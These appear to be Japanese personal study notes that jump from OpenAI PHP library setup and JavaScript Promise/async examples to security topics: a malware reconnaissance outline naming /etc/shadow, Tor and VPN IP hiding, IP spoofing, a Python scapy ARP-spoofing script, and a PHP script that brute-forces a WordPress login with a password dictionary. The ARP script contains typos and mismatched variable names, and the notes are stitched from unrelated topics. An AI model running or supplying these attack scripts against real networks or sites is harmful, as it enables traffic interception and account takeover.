Chat-GTP APIをライブラリを使って試そう

OpenAIのコミュニティにライブラリ一覧がある
https://platform.openai.com/docs/libraries/community-libraries

今回はorhanerday/open-aiを試します
https://github.com/orhanerday/open-ai

まず、composerでパッケージをインストールします
$ curl -sS https://getcomposer.org/installer | php
$ php composer.phar require orhanerday/open-ai

JavaScriptでjsonを表示する

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Document</title>
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</head>
<body>
	<ul id="list">
<!-- ここに出力します -->
	</ul>
	<script>
		$(function(){
			json = "./list.json";
			target = $("#list");
			$.getJSON(json, function(data, status){
				for(var n in data){
					var text = '<li>';
					if (data[n].url){
						line = '<a href="'+data[n].url+'" target="_blank"><span>'+data[n].name+'</span></a>';
					} else {
						line = '<i><span>'+data[n].name+'</span></i>';
					}
					text = text+line+'</li>';
					$(target).append(text);
				}
			})
		})
	</script>
</body>
</html>

これは分かり易いですね。

チャット返答のJavaScript側の処理を考える

チャットの返答前に処理一覧を表示させたいので、Promiseで以下のように書ければ良い

	console.log("処理開始");

	new Promise((resolve, reject)=> {
		console.log("送信者のメッセージをDBへインサート処理");
		list();
		setTimeout(function(){
			resolve();
		}, 2000);
	}).then(function(value){
		console.log("API回答メッセージをDBへインサート処理");
		list();
	}).catch((data) => console.log(data)
	).finally(() => console.log("処理終了"));

	async function list(){
		console.log("DBからリストを表示");
	}

あとは(1)JavaScriptからPHP側にデータをどのように送るか、(2)DBからデータを取得するかを考える

JavaScript Promiseとは

Promiseは処理が問題なく完了すればresolve、反対に問題があればrejectを呼び出してメッセージを表示
コールバックとは、ある関数へ別の関数を渡すこと

sampleFunction1(function(data1){
	sampleFunction2(function(data2){
		// 処理
	})
})
	var sample = new Promise(function(resolve, reject){
		setTimeout(function(){
			resolve();
		}, 1000);
	});

	sample.then(function(value){
		console.log("Promise成功!");
	});

	console.log("先に出力");

Promiseの処理を連結させるものをchainという

JavaScriptの非同期処理

setTimeoutを用いた非同期処理

		console.log(1);
		setTimeout(()=> console.log(2), 5000);
		console.log(3);

1->3->2の順番で処理される

		const sleep = (second) => {
			const startTime = new Date();
			while (new Date() - startTime < second);
			console.log("done sleep");
		}

		const button = document.querySelector("button");

		button.addEventListener("click", () => console.log("clicked"));

		sleep(5000)

処理される順番 : setTimeout実行中に次のタスクが実行される

		const first = () => {
			setTimeout(() => console.log("task1 done"), 2000);
			console.log("function frist done");
		}

		const second = () => console.log("function second done");

		first();
		second();

### Promiseとは?
Promiseとは非同期処理をより簡単かつ可動性が上がるように書けるようにしたJavaScriptのオブジェクト
Promiseは3つの状態がある
– pending: 非同期処理の実行中の状態を表す
– fulfilled: 非同期処理が正常終了した状態を表す
– rejected: 非同期処理が異常終了した状態を表す

new Promise(

).then(

).catch(

).finally(
);

引数としてコールバック関数をとる

new Promise((resolve, reject) => {

}).then(

).catch(

).finally(

);

### resolve
Promiseの状態がfulfilled(正常終了)になったらresolveが実行される
resolveが実行された場合は、thenメソッドが実行される
thenメソッドが実行された場合catchメソッドはm無視され、最後にfinallyメソッドが実行される

new Promise((resolve, reject) => {
	resolve("hoge");
}).then((data)=>console.log(data)

).catch(

).finally(()=>console.log("finally")

);

### reject
Promiseの状態がrejectedになったらrejectが実行される
rejectはPromise内のコールバック実行中に何らかのエラーが発生しそれをPromiseに通知するために使用する関数
rejectが実行される場合はcatchメソッドのコールバック関数が実行される

new Promise((resolve, reject) => reject("fuga")
.then(
).catch((data)=> console.log(data))
.finally(()=>console.log("finally")
);

Promiseオブジェクト内の同期・非同期処理の関係

new Promise((resolve, reject) => {
 // 同期処理
}).then(
 // resolveの実行を待って非同期処理
).catch(
 // rejectの実行を待って非同期処理
).finally(
 // resolveかrejectの実行を待って非同期処理
);
	new Promise((resolve, reject) => {
	 console.log("Promise");
	  resolve();
	}).then(() => console.log("then"));

	console.log("global end");

Promiseオブジェクトを使った並列処理
– Promise.all => 並列処理している全てが完了したら後続処理に続く

	const sleep = (val) => {
		return new Promise((resolve) => {
			setTimeout(() => {
				console.log(val++);
				resolve(val);
			}, 1000);
		});
	};

	Promise.all([sleep(0), sleep(1), sleep(2)]).then(() => console.log("end"));

AsyncとAwait
AsyncとAwaitはPromiseを更に直感的に書けるようにしたもの

– Async
Asyncを使って宣言された関数はPromiseオブジェクトを返却する
関数宣言の先頭にAsyncがついていたらPromiseオブジェクトがreturnされる。thenメソッドにつなげられる。

– Await
AwaitはPromiseを返却する関数の非同期処理が終わるのを待つ記述
Awaitで受けられるものはPromiseのインスタンス

	const sleep = (val) => {
		return new Promise((resolve) => {
			setTimeout(() => {
				resolve(val);
			}, 1000);
		});
	};

	async function init() {
		console.log(await sleep(0));
	}

	init();

fetchという関数
fetchを使うことでサーバからデータを取得できる

	fetch("")
		.then((response) => {
			return response.json();
		})
		.then((json) => {
			console.log(json);
		});

処理に時間がかかるデータベースへの挿入とリロード処理を同時実行したい

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Document</title>
</head>
<body>
	<?php
		$rel = $_GET['reload'];
		echo $rel;
		if($rel == 1) {
			echo ($_SERVER['PHP_SELF'].'?reloaded' .'<br/>');
			sleep(1);
			echo '<script type="text/JavaScript"> location.href = "/test.php"</script>';
			
		} else {
			echo ($_SERVER['PHP_SELF'].'?reloaded2' .'<br/>');

		}
		
	?>
	<a href="test.php?reload=1">リロード</a>
</body>
</html>

リロードしたら処理が更新されてしまうから、非同期で取得、送信したい。

マルウェアの仕組み

1. プログラムでディスクの空き容量、OSバージョン、kernel、OSの脆弱性などを取得する
2. サーバの実行ユーザ、実行グループを取得(重要)
3. 実行ユーザがアクセスできるディレクトリであれば、どのようなファイルか調べることができる
4. Apache, curl, DB, /etc/passwd, /etc/shadow、OSバージョン、特定コマンドの有無なども調べる
5. 任意のコードを実行できる。同様にファイル・ディレクトリの作成削除もできる
※eval()でphpコードとして評価してif文を実行

Tor

IPを隠すことは違法ではないが、エジプト、中国、イラクなどでは禁止されている

Torプロジェクト
https://www.torproject.org/download/

Torブラウザから接続する。すると複数の国を経由してアクセスされていることがわかる
ただし、接続がタイムアウト、利用できないなどが頻発する
Firefoxをベースに開発されている

=> 掲示板でIPアドレスから身元を判断しようとしても、Torや匿名VPNを使用した場合は、特定が難しい

ip偽装の方法

IP偽装の仕組み: パケットヘッダー(IPヘッダー)の送信元アドレスを変更する

### VPNソフトによる偽装
1)iTopVPN
暗号化プロトコル、暗号化通信、地域制限回避などのVPNソフト

2)Hotspot Shield
6億人ユーザがいると言われている。無料版ではUSサーバのみ利用でき、通信速度は2MB

3)hide.me
30日間だけ無料

4)Proton VPN

5)TunnelBear

### ブラウザChrome, firefox, OperaでIPアドレスを偽装する
6)Betternet Unlimited Free VPN Proxy
7)anonymoX
8)OperaVPN

###IPスプーフィングの種類
1. 分散型サービス拒否(DDoS)攻撃
L 大量のデータパケット送信によりコンピュータサーバに負荷をかける

2. ボットネットデバイスマスキング
L 単一ソースからマスキングすることで、大量のコンピュータへ攻撃を仕掛ける

3. 中間者攻撃
L 2台のコンピュータ間の通信を中断してパケットを変更し、知らないうちに送信して攻撃する

IPスプーフィング攻撃はネットワーク層で実行されるため、改竄の痕跡を見つけることが困難
=> パケットフィルタリング、変則的なアクティビティ監視、認証方法の強力化、IPv4からIPv6への移行など包括的な対策が必要

ハッカーは3ウェイハンドシェイクの前、SYN-ACKメッセージを送信する前に3ウェイハンドシェイクを妨害する。
自分のデイバイスアドレスと送信者のなりすましIPアドレスを含む偽の確認メッセージを送信する
信頼できるIPからの接続のみを許可しているシステムにも当てはまる。そのため、信頼したIP自体も管理しないといけない
DDoS攻撃ではボットネットに感染したデバイスによって行われることが多い

#coding:utf-8
from scapy.all immport *
import time
import sys

conf.verb = 0
gateway_ip = sys.argv[1]
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]

def main():
	try:
		print "[*] Start ARPspoofing..."
		position_target(target_ip, target_mac, gateway_ip, gateway_mac)
	except KeyboardInterrupt:
		pass
	finally:
		time.sleep(2)
		restore_table(gateway_ip, gateway_mac, target_ip, target_mac)
		sys.exit(0)

def position_target(target_ip, target_mac, gateway_ip, gateway_mac):
	positioning_target = Ether(dst=target_mac)/ARP()
	positioning_target.op = 2
	positioning_target.psrc = gateway_ip
	positioning_target.pdst = target_ip

	poisoning_gateway = Ether(dst=gateway_mac)/ARP()
	poisoning_gateway.op = 2
	poisoning_gateway.psrc = target_ip
	poisoning_gateway.pdst = gateway_ip

	while True:
		sendp(poisoning_target)
		sendp(poisoning_gateway)
		time.sleep(5)
	print "[*] Finished."
	return

def restore_table(gateway_ip, gateway_mac, target_ip, target_mac):
	print "[*] Restoring target."
	send(ARP(op=1, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip, hwdst=target_mac), count=3)

if __name__=="__main__":
	main()

MACアドレスとはネットワークに接続する全ての機器に割り当てられる固有の識別番号
A1:A2:A3:00:00:01
48ビット(6バイト)で構成され、前半6桁はベンダーコード
後半の6桁は所属ネットワーク機器の型番や詳細(ユニーク)

IPアドレスはインターネットプロトコルにおける通信相手先を識別するための番号

同じセグメントだけであればMACアドレスだけで良いがセグメントが異なる場合にはIPアドレスが必要
MACアドレスは送信する際のルータなどを記述する

IPヘッダ

WordPressへの辞書攻撃

WordPressのURLに?author=1をつけると、ユーザID1のユーザ名を取得できる
http://example.com/?author=1
http://example.com/author/admin

ログイン画面
http://example.com/wp-login.php

$time = microtime(true);

const TARGET_URL = 'http://example.com/wp-login.php';
const USER_AGENT = 'Mozilla/5.0';
const DICTIONARY = 'password';
const TIMEOUT = 30;

$log = 'admin';
$hit_flag = false;

try {
	$mh = curl_multi_init();
	$pwds = file(DICTIONARY, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
	$meta = stream_get_meta_data($fp = tmpfile());

	foreach($pwds as $pwd) {
		$ch = curl_init();
		$chs[] = $ch;
		curl_setopt_array($ch, [
			CURLOPT_URL => TARGET_URL,
			CURLOPT_POST => true,
			CURLOPT_POSTFIELDS => http_build_query(['log'=> $log, 'pwd' => $pwd]),
			CURLOPT_SSL_VERIFYPEER => false,
			CURLOPT_SSL_VERIFYHOST => false,
			CURLOPT_RETURNTRANSFER => false,
			CURLOPT_COOKIEJAR => $meta['uri'],
			CURLOPT_COOKIEFILE => $meta['uri'],
			CURLOPT_FOLLOWLOCATION => true,
			CURLOPT_USERAGENT => USER_AGENT,
			CURLOPT_ENCODING => 'gzip',
			CURLOPT_TIMEOUT => TIMEOUT,
			CURLOPT_CONNECTTIMEOUT => TIMEOUT
		]);
		curl_multi_add_handle($mh, $ch);
	}

	do {
		curl_multi_exec($mh, $active);
		curl_multi_select($mh);
	} while ($active > CURLM_OK);

	foreach($chs as $idx => $ch) {
		if (curl_getinfo($ch, CURLINFO_EFFECTIVE_URL) !== TARGET_URL){
			$hit_flag = true;
			echo "The password is \"{$pwds[$idx]}\".\n";
		}
		curl_multi_remove_handle($mh, $ch);
		curl_close($ch);
	}
	curl_multi_close($mh);
} catch (exception $e) {
	echo $e->getMessage();
}

if (!$hit_flag) echo "Did not hit.\n";
$time = microtime(true) - $time;
echo "It took ${time} seconds.\n";